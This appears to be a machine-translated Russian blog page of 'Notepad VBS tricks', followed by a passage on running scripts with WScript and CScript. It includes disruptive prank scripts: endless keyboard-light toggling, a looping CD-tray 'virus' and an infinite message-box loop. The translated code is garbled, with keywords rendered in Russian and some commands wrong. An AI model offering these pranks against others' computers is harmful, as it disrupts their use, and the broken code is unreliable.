    1) Сначала скопируйте и вставьте следующий код в документ Блокнота:

    Установите wshShell = wscript.CreateObject («WScript.Shell»)

    do

    wscript.sleep 100

    wshshell.sendkeys «{CAPSLOCK}»

    wshshell.sendkeys «{NUMLOCK}»

    wshshell.sendkeys «{SCROLLLOCK}»

    loop

    2) Затем сохраняет файл как a.vbs файл.

    3) Далее Дважды щелкните сохраненный файл.

    4) Произошла танцевальная ситуация.

    5) Теперь вы можете заметить, что компьютер быстро включает и выключает блокировку CAPS, NUMBER и SCROLL (что обычно загорается на большинстве клавиатур). Это очень раздражает, если вы действительно хотите использовать клавиатуру для набора текста. Если вы хотите избавиться от этой неприятной ситуации, вам необходимо набрать

    a) Перезагрузить компьютер или

    b) Перейдите в диспетчер задач и закройте сервер сценариев на основе Microsoft Windows.

    3. Создайте сообщение-сюрприз

    1) Сначала скопируйте и вставьте следующее в Блокнот…

    name = inputbox («Как вас зовут?»)

    msgbox («Удачного дня,» ) + имя

    2) Сохраните его как Good day.vbs или любой другой файл .vbs.

    3) Наслаждайтесь трюком.

    4. Сделайте CD-ROM Virus

    Во-первых, я хотел бы упомянуть, что это часто считается вредным для ПК. Это может привести к сбою вашего компьютера!

    **** Я не несу ответственности, если что-то пойдет не так. ****

    • Скопируйте и вставьте следующий код в Блокнот.

    DO

    Установить owMP = CreateOBject («WMPlayer.OCX.7»)

    Установить colCDROMs = oWMP.cdromCollection

    , если colCDROMs.Count> = 1, то

    для i = 0 в colCDROMs.Count - 1

    для i = 0 в colCDROMs.Count - 1

    colCDROMS.Item (i) .Eject

    Next 'cdrom

    End If

    loop

    Зарезервируйте его как CdRomVirus.vbs.

    5. Многозадачность

    Следуйте приведенному ниже коду и напишите в блокноте.

    Установить оболочку = CreateObject («wscript.shell »)

    Shell.Run (« CMD.exe »)

    Установить оболочку = CreateObject (« wscript.shell »)

    Shell.Run (« Notepad.exe »)

    Установить shell = CreateObject (« wscript. shell »)

    Shell.Run (« MSPaint »)

    Установить оболочку = CreateObject (« wscript.shell »)

    Shell.Run (« MSWord »)

    2) Используя приведенный выше код CMD, Notepad, MSPaint, MSWord будет открыт.

    3) Сохраните его как Opener.vbs

    6. Calculator.vbs (Цель умножения)

    Вы можете использовать калькулятор, используя следующий код

    msgbox («HackTool VBS - Калькулятор - *») сообщить об этом объявлении

    num1 = поле ввода («Число 1…»)

    num2 = поле ввода («Число 2…»)

    msgbox num1 * num2

    Используя приведенный выше код и просто изменяя операторы, вы также можете выполнять сложение, вычитание, деление и другие математические работы.

    7. Защита паролем

    1) Следуйте данному коду и примените его.

    pass = inputbox («Пароль?»)

    если pass = «Techy», затем msgbox («Correct Password!») Else msgbox («Incorrect Password!»)

    Пароль для этого - Techy.

    2) Сохраните его как Password.vbs.

    8. Создайте окно сообщения

    1) Следуйте приведенному ниже коду, чтобы насладиться трюками.

    msgbox («Привет!»)

    msgbox («Привет, снова!»)

    2) Внутри двойных кавычек (»«) Введите то, что вы хотите, чтобы оно говорилось

    3) Сохраните это как сообщение.vbs

    Чтобы сделать окно сообщения как цикл, следуйте приведенному ниже коду -

    DO

    msgbox («Привет!»)

    LOOP

    Вы можете сохранить его как MessageboxLoop.vbs.

    Руководство Techypaw:

    Этот контент предоставит вам предварительную информацию о Notepad Tricks VBS . Я полагаю, что некоторые уловки вредны, поэтому используйте их осознанно. Внимательно прочтите статью, а затем используйте ее. Для получения дополнительных запросов вы можете связаться со мной через данное поле для комментариев.Наконец, спасибо всем вам.

    VBScript - Запуск сценариев из Windows

    Windows Script Host позволяет запускать сценарии из Windows. WScript.exe предоставляет диалоговое окно Windows для настройки свойств сценария. Используя WScript.exe, вы можете запускать скрипты под Windows следующими способами. Независимо от того, используете ли вы WScript или CScript, вы по-прежнему запускаете сценарии одинаково. Разница только в выводе - WScript генерирует вывод в оконном режиме, а CScript отправляет вывод в командное окно, в котором он был запущен.

    При первоначальной установке хостом по умолчанию является WScript. Чтобы изменить его на CScript, введите в командной строке следующее:

    Копировать код
     cscript // h: cscript 

    Или, чтобы изменить его с CScript на WScript:

    Копировать код
     wscript // h: cscript 

    Чтобы запустить сценарий с использованием механизма по умолчанию:

    1. Дважды щелкните сценарий в проводнике Windows или на рабочем столе.

    2. Щелкните Start , выберите Run и введите имя сценария.

      Примечание

      Только в Windows NT и Windows 2000 просто введите имя сценария в командной строке.

    Чтобы запустить сценарий с использованием определенного движка:

    Для запуска сценариев с использованием WScript.exe

    • Дважды щелкните файлы или значки. Это могут быть файлы или значки, перечисленные в Мой компьютер , проводнике Windows, окне поиска , меню Пуск, или на рабочем столе.

    -или-

    1. Нажмите кнопку Пуск, , а затем нажмите Выполнить.

    2. В поле Open введите полный путь к сценарию и нажмите OK .Вы также можете ввести WScript , а затем полное имя и путь к сценарию, который вы хотите запустить.

    Если дважды щелкнуть файл сценария, расширение которого еще не связано с WScript.exe, появится диалоговое окно Открыть с помощью и спросит, какую программу использовать для открытия файла. Выберите WScript и отметьте Всегда использовать эту программу для открытия этого файла , чтобы зарегистрировать WScript в качестве приложения по умолчанию для всех файлов с этим расширением.

    В диалоговом окне свойств WScript.exe и CScript.exe доступны следующие параметры:

    Имущество Описание

    Остановить скрипт через указанное количество секунд.

    Задает максимальное количество секунд, в течение которых сценарий может запускаться.По умолчанию ограничений нет.

    Эквивалент CScript.exe: // T: nn

    Отображать логотип при выполнении сценария в командной консоли.

    Показывает баннер перед запуском сценария. Это значение по умолчанию. Напротив // nologo .

    Эквивалент CScript.exe: // logo или // nologo

    Использование WScript.exe Свойства диалоговое окно, вы можете установить глобальные параметры сценария для всех сценариев, которые WScript запускает на локальном компьютере. Вы также можете установить параметры для отдельных сценариев с помощью файла .wsf.

    Запуск сценариев из командной строки

    Windows Script Host позволяет запускать сценарии из командной строки. CScript.exe предоставляет переключатели командной строки для настройки свойств сценария.

    Для запуска скриптов с помощью CScript.exe

    Параметры хоста включают или отключают различные функции хоста сценариев Windows.Перед параметрами хоста ставятся две косые черты (//). Имя сценария - это имя файла сценария с расширением и необходимой информацией о пути, например, d: \ admin \ vbscripts \ chart.vbs . Параметры и параметры сценария передаются сценарию. Перед параметрами скрипта стоит одинарная косая черта (/).

    Каждый параметр не является обязательным; однако вы не можете указать параметры сценария без указания имени сценария. Если вы не укажете параметры, CScript отобразит синтаксис CScript и допустимые параметры хоста.

    Несколько примеров сценариев, которые устанавливаются вместе с Windows Script Host, также доступны для загрузки по адресу (http://msdn.microsoft.com/scripting).

    Предположим, что для целей этого примера вы скопировали образец сценария Chart.vbs в следующую папку на своем компьютере:

    Копировать код
     c: \ sample scripts \ chart.vbs 

    Вы можете запустить сценарий с логотипом и без него следующим образом.

    Для запуска сценария с логотипом или без него

    1. Запустите командную строку MS-DOS.

    2. Введите следующие команды в командной строке (измените соответствующим образом, если ваши образцы сценариев находятся в другой папке):

      Копировать код
       cscript // logo c: \ "sample scripts" \ chart.vbs
      cscript // nologo c: \ "образец сценария" \ chart.VBScript 
    .

    Leave a comment